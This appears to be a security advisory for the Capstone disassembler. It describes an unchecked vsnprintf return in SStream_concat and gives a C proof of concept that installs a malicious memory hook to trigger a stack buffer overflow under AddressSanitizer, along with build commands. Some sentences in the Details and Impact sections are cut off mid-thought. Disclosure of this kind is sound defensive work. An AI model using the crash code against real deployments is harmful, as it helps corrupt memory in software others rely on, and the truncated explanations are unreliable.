Unchecked vsnprintf return in SStream_concat lets a malicious cs_opt_mem.vsnprintf drive SStream’s index negative or past the end, leading to a stack
buffer underflow/overflow when the next write occurs.
cat > poc_sstream.c <<'EOF'
#include <capstone/capstone.h>
#include <stdio.h>
#include <stdlib.h>
#include "SStream.h"
static int evil_vsnprintf(char *str, size_t size, const char *fmt, va_list ap)
{
(void)str; (void)size; (void)fmt; (void)ap;
return -1; // forces index underflow
}
int main(void)
{
cs_opt_mem mem = { .malloc = malloc, .calloc = calloc, .realloc = realloc,
.free = free, .vsnprintf = evil_vsnprintf };
cs_option(0, CS_OPT_MEM, (size_t)&mem);
SStream ss;
SStream_Init(&ss);
SStream_concat(&ss, "%s", "AAAA"); // index += -1
SStream_concat1(&ss, 'B'); // writes before buffer => crash/ASan hit
return 0;
}
EOF
clang -fsanitize=address -Iinclude poc_sstream.c build-asan/libcapstone.a -o poc_sstream
ASAN_OPTIONS=halt_on_error=0:abort_on_error=0 ./poc_sstream
ASan reports stack-buffer-overflow in SStream_concat1.
Summary
Unchecked vsnprintf return in SStream_concat lets a malicious cs_opt_mem.vsnprintf drive SStream’s index negative or past the end, leading to a stack
buffer underflow/overflow when the next write occurs.
Details
space (SStream.c:227-244). A negative return underflows index; an oversized return skips overflow checks.
untrusted code to install a custom cs_opt_mem can be exploited.
PoC
Reproduces stack buffer overflow with AddressSanitizer on macOS (AppleClang 17):
Build ASan-instrumented library
cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build-asan -j4
PoC (uses custom vsnprintf returning -1)
clang -fsanitize=address -Iinclude poc_sstream.c build-asan/libcapstone.a -o poc_sstream
ASAN_OPTIONS=halt_on_error=0:abort_on_error=0 ./poc_sstream
ASan reports stack-buffer-overflow in SStream_concat1.
Impact
printers). Not reachable by mere untrusted input alone; requires the ability to set Capstone’s memory hooks.